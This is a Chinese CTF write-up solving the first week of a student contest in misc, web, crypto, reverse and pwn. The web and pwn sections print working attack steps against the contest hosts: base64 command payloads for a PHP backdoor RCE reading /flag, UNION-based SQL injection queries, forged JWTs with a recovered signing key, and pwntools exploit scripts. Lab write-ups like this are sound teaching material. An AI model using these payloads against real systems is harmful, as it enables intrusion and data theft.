写在前面
第一周的题比较简单所以 ak 了,勇师傅也就新生赛能体会下全栈的感觉,实则菜鸡一枚哈哈哈,要学的东西还多,慢慢来吧,路漫漫其修远兮,吾将上下而求索。
文章开始前给大家分享一个人工智能学习网站,通俗易懂,风趣幽默
人工智能教程https://www.captainbed.cn/myon/
目录
一、Signin
ez_answer
这个答题就行了,第二次刚好 85 分
拿到flag:flag{l_Agr3e_to_FoL10w_th3_ru1es_c41fa97d}
二、Misc
1、decompress
打开压缩包到最里面
密码有提示:这个是正则,匹配三个小写字母加一个数字再加一个小写字母
掩码攻击:
尝试了几次找到密码是 xtr4m
解压压缩包:
PK 头,就是一个压缩包
写个脚本合并一下:
# 设置文件前缀、输出文件名和部分文件数量
file_prefix = "flag.zip" # 文件前缀
output_file = "flag.zip" # 输出文件名
# 打开输出文件以二进制写入
with open(output_file, 'wb') as outfile:
# 遍历每个部分文件
for i in range(1, 10):
part_file = f"{file_prefix}.{i:03d}"
# 打开每个部分文件以二进制读取
with open(part_file, 'rb') as infile:
# 读取文件内容并写入输出文件
outfile.write(infile.read())
print(f"合并完成,输出文件:{output_file}")
打 flag.zip,结尾找到 flag:flag{U_R_th3_ma5ter_0f_dec0mpress}
2、pleasingMusic
结尾很明显的摩斯密码
手敲了一下
最开始试了很多次,解出来老是有url编码
后面注意到题目说正反听起来都好听
于是将摩斯密文取倒序再解密:
拿到 flag:flag{ez_morse_code}
3、WhereIsFlag
很多命令用不了,那就一个一个找,最终在环境变量下面找到 flag
flag{2d2ac95c-0da9-4a2d-98f6-1364de5ce108}
4、Labyrinth
提示 LSB,用 Stegsolve 秒了
拿到 flag:flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}
5、兑换码
结合提示就在图片下面,爆一下 CRC
拿到 flag:flag{La_vaguelette}
三、Web
1、headach3
看到关键字 head,查看请求头:
拿到 flag:flag{You_Ar3_R3Ally_A_9ooD_d0ctor}
2、会赢吗
源码看到 flag 第一部分:ZmxhZ3tXQTB3
继续访问路径 /4cqu1siti0n
直接 post 请求这个 api 接口
也可以在控制台调用 revealFlag 函数:
revealFlag('4cqu1siti0n');
拿到第二部分 flag:IV95NF9yM2Fs
继续访问下一个地址:/s34l
我 js 其实不好,所以代码直接扔给 gpt 审:
看一下 token 值和当前状态:
console.log("State:", document.getElementById('state').textContent);
console.log("CSRF Token:", document.getElementById('csrf_token').value);
由于 stateElement.textContent 为 "已封印" 而不是 "解封",导致条件不满足,因此代码执行到 return; 语句时,提前中断了 submit 事件的处理。
在控制台将 stateElement 的内容修改为 "解封",确保条件判断通过:
document.getElementById('state').textContent = '解封';
点击解封即可得到第三部分 Flag: MXlfR3I0c1B
继续访问:/Ap3x
扔给 gpt 构造:
// 获取 CSRF 令牌
const csrfToken = document.getElementById('csrf_token').value;
fetch('/api/flag/Ap3x', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ csrf_token: csrfToken }) // 使用 csrfToken 变量
})
.then(response => {
if (!response.ok) {
throw new Error('网络响应错误');
}
return response.json();
})
.then(data => {
console.log('Flag:', data.flag); // 打印获取到的 flag
})
.catch(error => {
console.error('请求错误:', error); // 捕获并打印错误
});
在控制台输了两次拿到 Flag: fSkpKcyF9
密文很明显是 base64,但是如果分段解会有点问题,所以先将密文拼接起来:
ZmxhZ3tXQTB3IV95NF9yM2Fs MXlfR3I0c1B fSkpKcyF9
解base64得到flag:flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}
3、智械危机
根据提示直接访问 robots.txt
访问:/backd0or.php
简单审一下 php 代码,逻辑还是很简单:
post 传入两个参数 cmd 和 key,最后会对传入的 cmd 内容进行 base64 解密,然后将解密后的内容传给 system 函数作为参数调用,需要满足的条件只有一个:
$hashed_reversed_cmd == $decoded_key
其中 $hashed_reversed_cmd = md5($reversed_cmd)
也就是先将传入的 cmd 内容进行了倒序然后再进行 md5 加密
而 $decoded_key = base64_decode($key)
也就是对传入的 key 的内容进行 base64 解密
要求这两个内容相等,就可以实现 RCE 了
构造 payload 查看当前目录:
cmd=bHM=&key=N2FiZThiMjRiZDAxMzc0NDZmZDMzNmMyMjk4ZmNjYTA=
未见 flag,那再看一下根目录:
cmd=bHMgLw==&key=ZTk0ZDNmOWQyNzBmNTczNGMwZTYwNDY3ZDQ0ZTdkNDY=
存在 flag
读取:
cmd=Y2F0IC9mbGFn&key=ODc5YTU5MWM2Nzg1YTRlMTM5OGI5NmE5YTFiYzY3ZWI=
拿到 flag:flag{162623d8-3e56-42e5-86da-4d3eb7dbf651}
4、谢谢皮蛋
数字型的 sql 注入,但是不知道为什么我一直闭合不成功,感觉注释符被过滤了或者是 base64 编码的影响。
那就不注释了吧,直接查:
查一个正常数据可以发现字段数为 2
查数据库名:
0 union select 1,database()
查表名:
0 union select 1,table_name from information_schema.tables where table_schema='ctf'
查列名:
0 union select 1,column_name from information_schema.columns where table_schema='ctf' and table_name='Fl4g'
很明显数据回显不完整
F12 看到一个 hint.php
是 sql 的查询语句,结尾使用 LIMIT 0,1 进行了回显限制
我们使用 group_concat 将查询结果拼接起来输出:
0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='Fl4g'
没有 flag,那就两个字段都查一下看看吧:
0 union select des,value from Fl4g
在 value 里面,拿到 flag:flag{18d6a31b-c5c6-4ba9-b2d3-774184eda145}
5、PangBai 过家家(1)
使用 bp 抓包,页面内容显示结束之后还会有一个发给 start 的 get 请求包
来到第一部分:
PangBai 的头部(Header)里便隐藏着一些秘密,需要你主动去发现。
找了好久,绷不住了,响应头里面有一个路径:/d4e0f00a-6752-47bd-9936-7a614f141b7d
(第二次启环境的地址所以会不同,第一次延时了三次没出卡在了最后一步)
向 PangBai 询问(Query)一下(ask=miao)吧 ~
简单的 get 传参:
继续进行 post 传参:
再传一次
这里有点坑,ua 需要完整的,不能直接改成 Papa,只将 Mozilla 替换为 Papa 即可:
Post 继续追加 say 参数:
修改参数内容为:玛卡巴卡阿卡哇卡米卡玛卡呣
调了好久一直有问题,我甚至输入了玛卡巴卡的整首歌。。。后面发现是它跳转页面后我的hackbar 的参数没有更新,重新 load 一遍就可以了:
这里要求修改(PATCH)的方法提交一个补丁包(name="file"; filename="*.zip")
curl -X PATCH "http://8.147.132.32:45357/?ask=1" \
-H "User-Agent: Papa/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0" \
-H "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.IPiFz3sUlvU5xrcY2IHoFDq1T5Qw1euIuKBdqhYnO0Q" \
-F "say=玛卡巴卡阿卡哇卡米卡玛卡呣" -v
这里改进了很久,curl、burpsuite 都用了没成功,最终用 python 实现:
import requests
# 发送请求
url = "http://8.147.132.32:45357/?ask=1"
headers = {
"User-Agent": "Papa/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0",
"Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.IPiFz3sUlvU5xrcY2IHoFDq1T5Qw1euIuKBdqhYnO0Q",
}
# 读取要上传的文件
files = {
"file": ("patch.zip", open("patch.zip", "rb"), "application/zip"),
"say": (None, "玛卡巴卡阿卡哇卡米卡玛卡呣")
}
# 发送 PATCH 请求
response = requests.patch(url, headers=headers, files=files)
# 检查响应内容
print(response.text)
将拿到的 token 传进去
XFF 添加 127.0.0.1
请求包来到如下:
GET /?ask=1 HTTP/1.1
Host: 8.147.132.32:45357
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.9OC1NLUyFUkAvus3s0jRxecL7ri3z2g5jkQ9fGWjx8Q
Origin: http://8.147.132.32:45357
Referer: http://8.147.132.32:45357/?ask=1
User-Agent: Papa/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
X-Forwarded-For: 127.0.0.1
尝试伪造其他关卡发现后面没有了
但也验证了 JWT 加密的 key 确实为:frvecfE6wDrSdjsS
虽然往后没有了,但是有一个 level0。
第一天没出,第二天再次来到这个地方:unpg3lwzW7TlrtNN
继续伪造这个 level0,发现这里有一段音频
将 token 传进去,点击从梦中醒来
拿到 flag:flag{ea682eb0-4a12-4635-a324-25bef3de713d}
呜呜呜,音乐一响,泪目,pangbai 出题人太用心了。
四、Crypto
1、xor
根据异或的自反性,我们将密文和密钥再异或一次即可得到明文
exp:
from Crypto.Util.number import long_to_bytes, bytes_to_long
# 给定的密钥和密文
key = b'New_Star_CTF'
c1 = 8091799978721254458294926060841
c2 = b';:\x1c1<\x03>*\x10\x11u;'
# 解密 m1
m1 = c1 ^ bytes_to_long(key)
# 解密 m2
m2 = bytes(a ^ b for a, b in zip(key, c2))
# 将解密得到的 m1 和 m2 转换为字节并组合
flag = long_to_bytes(m1) + m2
print(flag)
拿到 flag:flag{0ops!_you_know_XOR!}
2、Base
4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D
三层:十六进制+base32+base64
拿到 flag:flag{B@sE_0f_CrYpt0_N0W}
3、一眼秒了
N 可以分解,轩宇直接秒了
拿到 flag:flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}
4、Strange King
皇帝应该指的是凯撒大帝,凯撒解密发现有一个递增 2 的规律
初始 key 为5,为了避免超出字母表范围,我们再模一个 26
def caesar_decrypt(ciphertext):
decrypted_text = ""
key = 5
for index, char in enumerate(ciphertext):
if char.isalpha():
shift = (ord(char) - ord('a') - key) % 26 + ord('a') if char.islower() else (ord(char) - ord('A') - key) % 26 + ord('A')
decrypted_char = chr(shift)
decrypted_text += decrypted_char
key += 2
else:
decrypted_text += char
return decrypted_text
ciphertext = "ksjr{EcxvpdErSvcDgdgEzxqjql}"
decrypted_message = caesar_decrypt(ciphertext)
print(decrypted_message)
得到:flag{RngcugFqPqvUvqrNgctkpi}
提交发现不对,题目要求括号内的内容为可读明文
调试代码发现,当 key 大于 12 时刚好可以把 flag 四个字符跑全
照题目意思跑到这里就取这个模,回到原点,做一个模 12 的处理,模的话是对应的 0-25
def caesar_decrypt(ciphertext):
decrypted_text = ""
key = 5
for index, char in enumerate(ciphertext):
if char.isalpha():
shift = (ord(char) - ord('a') - key) % 26 + ord('a') if char.islower() else (ord(char) - ord('A') - key) % 26 + ord('A')
decrypted_char = chr(shift)
decrypted_text += decrypted_char
key += 2
if key >= 25:
key = key%12
else:
decrypted_text += char
return decrypted_text
ciphertext = "ksjr{EcxvpdErSvcDgdgEzxqjql}"
decrypted_message = caesar_decrypt(ciphertext)
print(decrypted_message)
很明显可以看到中间部分:DoNotStop
左右两边应该还有两个单词,单词是大写字母开头的
单独爆一下前后的两个单词:
def caesar_decrypt(ciphertext, key):
decrypted_text = ""
for index, char in enumerate(ciphertext):
if char.isalpha():
if char.islower():
shifted = (ord(char) - ord('a') - key) % 26
decrypted_char = chr(shifted + ord('a'))
else:
shifted = (ord(char) - ord('A') - key) % 26
decrypted_char = chr(shifted + ord('A'))
decrypted_text += decrypted_char
key += 2
else:
decrypted_text += char
return decrypted_text
ciphertext = "Ecxvpd"
for i in range(1, 27):
decrypted_message = caesar_decrypt(ciphertext, i)
print(f"Key {i}: {decrypted_message}")
得到两个可读单词:Please 和 Learing,它这里就是一段一段拼起来的
最终得到 flag:flag{PleaseDoNotStopLearing}
五、Reverse
1、Begin
反编译 main 函数看到 flag_part1
双击跟进:
根据提示:If you find that flag part1 is garbled, please press the ' a ' key
按 a 将数据段转换为 ASCII 字符串形式:
拿到第一部分:flag{Mak3_aN_
根据提示第二部分在字符串里,使用快捷键 shift+F12 查看:
拿到 flag part2: 3Ff0rt_tO_5eArcH_
查看函数发现 flag 第三部分就是函数名,注意加上后括号:F0r_th3_f14g_C0Rpse}
拼接起来拿到 flag:flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}
2、base64
找到了两串 base64 编码字符串:
WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/
g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc=
base64 换表:这里长的是表,短的是密文
拿到 flag:flag{y0u_kn0w_base64_well}
3、Simple_encryption
反编译看伪代码:
就是简单的取模算法,根据索引模 3 得到的不同结果,对输入的 flag 进行不同的加减或者异或操作。
最后检查 input 中所有字符和 buffer 中的字符是否都一致,buffer中存储的就是 flag 加密后的内容,查看buffer的值:
提取数据,逆向解密:
# 定义 buffer 中的 ASCII 值
buffer = [
0x47, 0x95, 0x34, 0x48, 0xA4, 0x1C, 0x35, 0x88, 0x64, 0x16,
0x88, 0x07, 0x14, 0x6A, 0x39, 0x12, 0xA2, 0x0A, 0x37, 0x5C,
0x07, 0x5A, 0x56, 0x60, 0x12, 0x76, 0x25, 0x12, 0x8E, 0x28,
0x00, 0x00 # 最后两个字节为无效数据
]
# 有效长度为30
len = 30
flag = [''] * len # 初始化flag字符列表
# 逆向操作
for k in range(len):
if k % 3 == 0:
flag[k] = chr(buffer[k] + 31)
elif k % 3 == 1:
flag[k] = chr(buffer[k] - 41)
elif k % 3 == 2:
flag[k] = chr(buffer[k] ^ 0x55)
# 输出还原的flag
print("".join(flag))
拿到flag:flag{IT_15_R3Al1y_V3Ry-51Mp1e}
4、ezAndroidStudy
来到安卓逆向,使用 jadx-gui 反编译:
前四部分都能找到
拿到 flag{Y0u_@r4_900d_andr01d
最后一个是通过一个 getflag5 的函数,代码扔给 gpt 看了下说是在 so 文件里
将 apk 后缀改为 zip 解压拿到 so 文件:
使用 ida 打开 libezandroidstudy.so 文件即可看到第五部分:
最终 flag:flag{Y0u_@r4_900d_andr01d_r4V4rs4r}
5、ez_debug
初始化 v23 值为 "ATRI"
用户输入后会调用 guess 函数和 hi 函数
跟进 guess 函数:就是对输入异或 0x17
guess((__int64)v21, (__int64)v20);
即将 v21中的每个字符与 0x17 进行异或操作,结果存储在 v20
再看 hi 函数,也是异或,异或逻辑为:a2[i] = a1[i] ^ a3[i % size(a3)]
hi((__int64)v20, (__int64)v19, (__int64)v23);
也就是将 v20 中的字符与 v23 中的字符进行异或,结果保存在 v19 中
v23 我们上面说过了,值为 "ATRI"
之后将 v19 中的每个字节转换为十六进制字符串,并存储到 v18中
最后比较 v18 和 v17是否相等
遍历 v22,存储在 v29 中,再添加到 v17,也就是说 v17 其实来自 v22
而 v22 的数据其实来于自 v25
提取数据,编写exp:
enc_str = [0x30,0x2F,0x24,0x39,0x2D,0x3A,0x75,0x2B,0x9,0x22,0x37,0x6D,0x9,0x24,0x75,0x31,0x32,0x1C,0x5,0x1,0x12,0x26,0x27,0x2B,0x6F,0x3E]
xor_str = b'ATRI'
for i in range(len(enc_str)):
print(chr(enc_str[i]^xor_str[i%len(xor_str)]^0x17),end="")
拿到 flag:flag{y0u_ar3_g0od_@_Debu9}
六、Pwn
1、Real Login
反编译 main 函数
跟进 func 函数:
检查输入的 buf,当 buf 和 password 在前 10 个字符相等时,strncmp 返回 0,! 会将 0 转换为 true,之后调用win函数。
看一下 win 函数就是 getshell
跟进看看 password,内容为:NewStar!!!
拿到 flag:flag{09bbd7ee-dfef-461e-8bb3-75f7cec0fd90}
2、Game
检查一下,还是 64 位程序
使用 Ida 反编译查看伪代码:
跟进 game 函数:
只能输入0-10之间的数,当 v1 累加超过 999 则getshell
但是这里存在一个 alarm(5u),程序 5 秒后就会终止
我们可以每次输入 10,累加 100 次即可达到 1000,满足条件 v1 > 999
10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10
拿到 flag:flag{c893e960-ae0c-47f4-997c-952103e058ac}
3、overwrite
scanf 输入 nbytes,read 输入 nbytes_4
第一个可以用负数绕过 if 判断,比如给 nbytes 传入 -1,满足 if 判断,经过类型转换为 unsigned int 后,它将被转换为一个非常大的值(对于 32 位系统,-1 会转换为 4294967295,即 2^32 - 1),这意味着 read 将试图读取一个非常大的字节数。
可以看到 nptr 与 nbytes_4 之间是 0x30,因此我们传入 48个 字符即可填满 nbytes_4,继续给 nptr 传入符合要求的值比如 114515 让其不满足第二个if判断,而是大于 114514,则会调用 getflag 函数。
exp:
from pwn import *
p = remote('8.147.132.32 20712', 20712)
p.recvuntil(b'readin: ')
p.sendline(b'-1')
p.recvuntil(b'say: ')
p.sendline(b'0' * 48 + b'114515')
p.interactive()
拿到 flag:flag{36772a8a-bd4d-43e4-a924-b41af51b830e}
4、gdb
ida 反编译看伪代码
只需要满足输入的 buf 与加密后的 s 值相等即可获取 flag
动态调试即可看到加密后 s 的值,断点打在if ( !memcmp(s, buf, v4) )
这里输了两次不同内容发现 s 的值都未变,进一步确认 s 就是存储的加密后的内容
跟进查看 s 的值
因为加密后的内容存在不可见字符,我们这里提取十六进制值:
5D 1D 43 55 53 45 57 45
也以十六进制发送,编写 exp:
from pwn import *
p = remote('39.106.48.123', 39913)
p.recvuntil(b'data: ')
p.sendline(b'\x5D\x1D\x43\x55\x53\x45\x57\x45')
p.interactive()
拿到 flag:flag{6af53276-eb1c-4486-ae3c-b309dc5112ce}